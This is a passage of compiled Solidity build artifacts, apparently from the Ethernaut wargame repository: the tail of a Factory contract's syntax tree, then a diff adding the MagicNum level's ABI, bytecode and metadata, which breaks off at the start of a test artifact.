ProxyAdmin"}},"id":49898,"nodeType":"ExpressionStatement","src":"743:29:59"},{"expression":{"id":49904,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49899,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49879,"src":"782:14:59","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":49902,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"799:14:59","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Statistics_$56450_$","typeString":"function () returns (contract Statistics)"},"typeName":{"id":49901,"nodeType":"UserDefinedTypeName","pathNode":{"id":49900,"name":"Statistics","nameLocations":["803:10:59"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"803:10:59"},"referencedDeclaration":56450,"src":"803:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}},"id":49903,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"799:16:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"src":"782:33:59","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":49905,"nodeType":"ExpressionStatement","src":"782:33:59"},{"expression":{"id":49923,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49906,"name":"proxyStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49882,"src":"825:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":49912,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49879,"src":"861:14:59","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}],"id":49911,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"853:7:59","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49910,"name":"address","nodeType":"ElementaryTypeName","src":"853:7:59","typeDescriptions":{}}},"id":49913,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"853:23:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":49916,"name":"proxyAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49876,"src":"886:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyAdmin_$58003","typeString":"contract ProxyAdmin"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ProxyAdmin_$58003","typeString":"contract ProxyAdmin"}],"id":49915,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"878:7:59","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49914,"name":"address","nodeType":"ElementaryTypeName","src":"878:7:59","typeDescriptions":{}}},"id":49917,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"878:19:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":49920,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49873,"src":"907:9:59","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}],"id":49919,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"899:7:59","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49918,"name":"address","nodeType":"ElementaryTypeName","src":"899:7:59","typeDescriptions":{}}},"id":49921,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"899:18:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":49909,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"838:14:59","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_address_$_t_address_$returns$_t_contract$_ProxyStats_$58028_$","typeString":"function (address,address,address) returns (contract ProxyStats)"},"typeName":{"id":49908,"nodeType":"UserDefinedTypeName","pathNode":{"id":49907,"name":"ProxyStats","nameLocations":["842:10:59"],"nodeType":"IdentifierPath","referencedDeclaration":58028,"src":"842:10:59"},"referencedDeclaration":58028,"src":"842:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}}},"id":49922,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"838:80:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}},"src":"825:93:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}},"id":49924,"nodeType":"ExpressionStatement","src":"825:93:59"},{"expression":{"arguments":[{"arguments":[{"id":49930,"name":"proxyStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49882,"src":"1032:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}],"id":49929,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1024:7:59","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49928,"name":"address","nodeType":"ElementaryTypeName","src":"1024:7:59","typeDescriptions":{}}},"id":49931,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1024:19:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49925,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49873,"src":"1000:9:59","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":49927,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1010:13:59","memberName":"setStatistics","nodeType":"MemberAccess","referencedDeclaration":48927,"src":"1000:23:59","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":49932,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1000:44:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49933,"nodeType":"ExpressionStatement","src":"1000:44:59"},{"expression":{"id":49941,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49934,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49879,"src":"1113:14:59","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":49938,"name":"proxyStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49882,"src":"1149:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}],"id":49937,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1141:7:59","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49936,"name":"address","nodeType":"ElementaryTypeName","src":"1141:7:59","typeDescriptions":{}}},"id":49939,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1141:19:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49935,"name":"Statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56450,"src":"1130:10:59","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Statistics_$56450_$","typeString":"type(contract Statistics)"}},"id":49940,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1130:31:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"src":"1113:48:59","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":49942,"nodeType":"ExpressionStatement","src":"1113:48:59"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49883,"nodeType":"ParameterList","parameters":[],"src":"651:2:59"},"returnParameters":{"id":49884,"nodeType":"ParameterList","parameters":[],"src":"654:0:59"},"scope":49984,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49959,"nodeType":"FunctionDefinition","src":"1264:102:59","nodes":[],"body":{"id":49958,"nodeType":"Block","src":"1318:48:59","nodes":[],"statements":[{"expression":{"arguments":[{"id":49955,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49947,"src":"1352:6:59","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":49952,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49873,"src":"1328:9:59","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":49954,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1338:13:59","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1328:23:59","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":49956,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1328:31:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49957,"nodeType":"ExpressionStatement","src":"1328:31:59"}]},"functionSelector":"202023d4","implemented":true,"kind":"function","modifiers":[{"id":49950,"kind":"modifierInvocation","modifierName":{"id":49949,"name":"onlyOwner","nameLocations":["1308:9:59"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"1308:9:59"},"nodeType":"ModifierInvocation","src":"1308:9:59"}],"name":"registerLevel","nameLocation":"1273:13:59","parameters":{"id":49948,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49947,"mutability":"mutable","name":"_level","nameLocation":"1293:6:59","nodeType":"VariableDeclaration","scope":49959,"src":"1287:12:59","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},"typeName":{"id":49946,"nodeType":"UserDefinedTypeName","pathNode":{"id":49945,"name":"Level","nameLocations":["1287:5:59"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"1287:5:59"},"referencedDeclaration":55508,"src":"1287:5:59","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"visibility":"internal"}],"src":"1286:14:59"},"returnParameters":{"id":49951,"nodeType":"ParameterList","parameters":[],"src":"1318:0:59"},"scope":49984,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49983,"nodeType":"FunctionDefinition","src":"1475:214:59","nodes":[],"body":{"id":49982,"nodeType":"Block","src":"1547:142:59","nodes":[],"statements":[{"expression":{"arguments":[{"id":49969,"name":"_newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49961,"src":"1585:9:59","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49966,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49873,"src":"1557:9:59","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":49968,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1567:17:59","memberName":"transferOwnership","nodeType":"MemberAccess","referencedDeclaration":46679,"src":"1557:27:59","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":49970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1557:38:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49971,"nodeType":"ExpressionStatement","src":"1557:38:59"},{"expression":{"arguments":[{"id":49975,"name":"_newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49961,"src":"1634:9:59","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49972,"name":"proxyAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49876,"src":"1605:10:59","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyAdmin_$58003","typeString":"contract ProxyAdmin"}},"id":49974,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1616:17:59","memberName":"transferOwnership","nodeType":"MemberAccess","referencedDeclaration":46679,"src":"1605:28:59","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":49976,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1605:39:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49977,"nodeType":"ExpressionStatement","src":"1605:39:59"},{"expression":{"arguments":[{"id":49979,"name":"_newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49961,"src":"1672:9:59","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49978,"name":"transferOwnership","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46679,"src":"1654:17:59","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":49980,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1654:28:59","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49981,"nodeType":"ExpressionStatement","src":"1654:28:59"}]},"functionSelector":"a6f1e840","implemented":true,"kind":"function","modifiers":[{"id":49964,"kind":"modifierInvocation","modifierName":{"id":49963,"name":"onlyOwner","nameLocations":["1537:9:59"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"1537:9:59"},"nodeType":"ModifierInvocation","src":"1537:9:59"}],"name":"transferContractsOwnership","nameLocation":"1484:26:59","parameters":{"id":49962,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49961,"mutability":"mutable","name":"_newOwner","nameLocation":"1519:9:59","nodeType":"VariableDeclaration","scope":49983,"src":"1511:17:59","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49960,"name":"address","nodeType":"ElementaryTypeName","src":"1511:7:59","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1510:19:59"},"returnParameters":{"id":49965,"nodeType":"ParameterList","parameters":[],"src":"1547:0:59"},"scope":49984,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":49869,"name":"Ownable","nameLocations":["487:7:59"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"487:7:59"},"id":49870,"nodeType":"InheritanceSpecifier","src":"487:7:59"}],"canonicalName":"Factory","contractDependencies":[49101,56450,58003,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49984,46700,48281],"name":"Factory","nameLocation":"476:7:59","scope":49985,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":59} \ No newline at end of file diff --git a/contracts/out/MagicNum.sol/MagicNum.json b/contracts/out/MagicNum.sol/MagicNum.json new file mode 100644 index 000000000..079fd91d4 --- /dev/null +++ b/contracts/out/MagicNum.sol/MagicNum.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setSolver","inputs":[{"name":"_solver","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"solver","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506101468061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631f8794331461003857806349a7a26d1461008e575b5f80fd5b61008c6100463660046100d6565b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f546100ad9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b5f602082840312156100e6575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610109575f80fd5b939250505056fea26469706673582212201ed06ae2b264afa979c4761c62a56c8d7bb1d4bd17fe273eef4cdeb2c5e4c66264736f6c63430008180033","sourceMap":"57:626:93:-:0;;;109:16;;;;;;;;;;57:626;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631f8794331461003857806349a7a26d1461008e575b5f80fd5b61008c6100463660046100d6565b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f546100ad9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b5f602082840312156100e6575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610109575f80fd5b939250505056fea26469706673582212201ed06ae2b264afa979c4761c62a56c8d7bb1d4bd17fe273eef4cdeb2c5e4c66264736f6c63430008180033","sourceMap":"57:626:93:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;131:76;;;;;;:::i;:::-;184:6;:16;;;;;;;;;;;;;;;131:76;;;81:21;;;;;;;;;;;;504:42:155;492:55;;;474:74;;462:2;447:18;81:21:93;;;;;;;14:309:155;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;231:42;224:5;220:54;213:5;210:65;200:93;;289:1;286;279:12;200:93;312:5;14:309;-1:-1:-1;;;14:309:155:o","linkReferences":{}},"methodIdentifiers":{"setSolver(address)":"1f879433","solver()":"49a7a26d"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_solver\",\"type\":\"address\"}],\"name\":\"setSolver\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"solver\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/MagicNum.sol\":\"MagicNum\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/MagicNum.sol\":{\"keccak256\":\"0xf2ee0db5bfcce4187f08758ef42da2ba22c643aee505ba74989234884cb60c2b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9fae110ba0676d38d647b370f76d2d2412d862571450508a36ce87bb7ddbd556\",\"dweb:/ipfs/QmXtzuvnfPia4Z8ccRDVr2TxPHsM1XQTGGJkRdxNHkgTeF\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"_solver","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setSolver"},{"inputs":[],"stateMutability":"view","type":"function","name":"solver","outputs":[{"internalType":"address","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/MagicNum.sol":"MagicNum"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/MagicNum.sol":{"keccak256":"0xf2ee0db5bfcce4187f08758ef42da2ba22c643aee505ba74989234884cb60c2b","urls":["bzz-raw://9fae110ba0676d38d647b370f76d2d2412d862571450508a36ce87bb7ddbd556","dweb:/ipfs/QmXtzuvnfPia4Z8ccRDVr2TxPHsM1XQTGGJkRdxNHkgTeF"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/MagicNum.sol","id":53734,"exportedSymbols":{"MagicNum":[53733]},"nodeType":"SourceUnit","src":"32:652:93","nodes":[{"id":53716,"nodeType":"PragmaDirective","src":"32:23:93","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53733,"nodeType":"ContractDefinition","src":"57:626:93","nodes":[{"id":53718,"nodeType":"VariableDeclaration","src":"81:21:93","nodes":[],"constant":false,"functionSelector":"49a7a26d","mutability":"mutable","name":"solver","nameLocation":"96:6:93","scope":53733,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53717,"name":"address","nodeType":"ElementaryTypeName","src":"81:7:93","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53722,"nodeType":"FunctionDefinition","src":"109:16:93","nodes":[],"body":{"id":53721,"nodeType":"Block","src":"123:2:93","nodes":[],"statements":[]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53719,"nodeType":"ParameterList","parameters":[],"src":"120:2:93"},"returnParameters":{"id":53720,"nodeType":"ParameterList","parameters":[],"src":"123:0:93"},"scope":53733,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53732,"nodeType":"FunctionDefinition","src":"131:76:93","nodes":[],"body":{"id":53731,"nodeType":"Block","src":"174:33:93","nodes":[],"statements":[{"expression":{"id":53729,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53727,"name":"solver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53718,"src":"184:6:93","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53728,"name":"_solver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53724,"src":"193:7:93","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"184:16:93","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53730,"nodeType":"ExpressionStatement","src":"184:16:93"}]},"functionSelector":"1f879433","implemented":true,"kind":"function","modifiers":[],"name":"setSolver","nameLocation":"140:9:93","parameters":{"id":53725,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53724,"mutability":"mutable","name":"_solver","nameLocation":"158:7:93","nodeType":"VariableDeclaration","scope":53732,"src":"150:15:93","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53723,"name":"address","nodeType":"ElementaryTypeName","src":"150:7:93","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"149:17:93"},"returnParameters":{"id":53726,"nodeType":"ParameterList","parameters":[],"src":"174:0:93"},"scope":53733,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"MagicNum","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53733],"name":"MagicNum","nameLocation":"66:8:93","scope":53734,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":93} \ No newline at end of file diff --git a/contracts/out/MagicNum.t.sol/TestMagicNum.json b/contracts/out/MagicNum.t.sol/TestMagicNum.json new file mode 100644 index 000000000..864ce50e9 --- /dev/null +++ b/contracts/out/MagicNum.t.sol/TestMagicNum.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address 